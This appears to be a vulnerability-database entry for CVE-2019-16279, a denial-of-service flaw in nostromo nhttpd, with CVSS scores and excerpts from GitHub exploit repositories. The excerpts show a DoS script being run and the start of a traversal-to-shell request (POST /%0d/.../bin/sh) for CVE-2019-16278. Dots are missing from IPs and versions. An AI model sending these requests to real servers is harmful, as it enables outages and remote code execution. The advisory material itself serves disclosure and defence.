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CVSSv2

CVE-2019-16279

Published: 14/10/2019 Updated: 21/10/2019
CVSS v2 Base Score: 5 | Impact Score: 2.9 | Exploitability Score: 10
CVSS v3 Base Score: 7.5 | Impact Score: 3.6 | Exploitability Score: 3.9
VMScore: 446
Vector: AV:N/AC:L/Au:N/C:N/I:N/A:P

Vulnerability Summary

A memory error in the function SSL_accept in nostromo nhttpd up to and including 1.9.6 allows an malicious user to trigger a denial of service via a crafted HTTP request.

Vulnerability Trend

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Github Repositories

(CVE-2019-16279)dos

CVE-2019-16279 (CVE-2019-16279)dos This bug exploit a memory error when sending too many \r\n in a single connexion Example $ curl 127001:8080 HELLO! $ /CVE-2019-16279sh 127001 8080 $ curl 127001:8080 curl: (7) Failed to connect to 127001 port 8080: Connection refused

Directory transversal to remote code execution

Exploits for CVE-2019-16278 and CVE-2019-16279 Nostromo httpd is prone to 2 cricital vulnerabilities for versions <= 196 (0day =]) first one is an RCE through directory transversal, second one is a DoS CVE-2019-16278 - Directory transversal to remote code execution POST /%0d/%0d/%0d/%0d/bin/sh HTTP/10 Connection: close User-Agent: Mozilla/50 (Windows NT 1